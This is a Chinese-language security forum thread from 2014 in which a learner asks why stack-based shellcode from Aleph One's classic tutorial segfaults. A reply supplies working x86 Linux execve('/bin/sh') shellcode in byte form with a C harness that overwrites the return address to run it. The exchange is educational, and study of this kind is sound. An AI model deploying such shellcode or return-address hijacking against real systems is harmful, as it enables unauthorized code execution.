首页
社区
课程
招聘
[求助][求助]shellcode遇到的栈段执行问题
发表于: 2014-1-5 19:45 3797

[求助][求助]shellcode遇到的栈段执行问题

2014-1-5 19:45
3797
先上环境

再上程序

最后是调试信息(没有显示main函数了,直接到了shellcode)

eip已经指向shellcode开始的地方了。但是继续执行(nexti),程序就segmentation fault。
我是参考Aleph One的smashing the stack for fun and profit(80年代的老古董)在学习堆栈溢出和shellcode的编写。
这是因为栈段只能读写,不能执行的原因吗?但是Aleph One 写他的文章的时候貌似已经是386的时代了,他是可以执行并获得shell的。
本来想发在求助板块的,但是今天问了个问题出去了20kx,身上只有4kx了。
如果有人能答疑解惑,拨开我眼前的迷雾,我全部家当送出去了。
看雪的kx真难挣。我进来一年了,几乎天天泡,才只有这么点。。。主要是技术菜,发不了精华,答不了求助。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 29
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
这个shellcode是有问题的,你肯定是采用了下面的这种模式:


jmp short GoToCall

shellcode:
pop esi

........
<shellcode meat>
.........

GoToCall:
call shellcode
db '/bin/sh'


建议你把字符串"/bin/sh"放到栈中,用寄存器存储字符串的地址。我一般都是这么写。
2014-1-5 20:43
0
雪    币: 90
活跃值: (92)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
我刚刚还在看你写的那个栈溢出漏洞利用原理,刚在我的电脑上实现了你的那个栈溢出利用,回来看我的求助贴,发现第一个解答就是你的。。。
嗯,我的shellcode就是这么写的。把“/bin/sh”放到栈中是什么意思?能否详细说明一下。最好能有程序代码说明。感谢。
2014-1-5 20:54
0
雪    币: 357
活跃值: (3403)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
4
.....
2014-1-5 21:03
0
雪    币: 29
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
你看看这个我写的shellcode,参考了国外一些人的思路,代码如下:


char shellcode[] =

"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x73\x68\x00" /* push $0x0068732f(/sh) */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/

"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x31\xd2" /*xorl %edx,%edx */
"\x89\xe1" /*mov %esp,%ecx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */


void main()
{
int* ret;
ret = (int*) &ret + 2;
(*ret) = (int) shellcode;
}


2014-1-5 21:18
0
雪    币: 90
活跃值: (92)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
6
我参考你的shellcode后面的代码写了一个汇编程序,成功得到shell,从gdb中导出了shellcode的opcode码,和你的比较了一下,完全是一样的。于是有了下面这个程序(就是和你那个一样的)

但是执行后仍旧是segmentation fault,gdb调试如下。

我感觉我跟shellcode一定有仇。。。。
上传的附件:
2014-1-5 23:07
0
游客
登录 | 注册 方可回帖
返回
//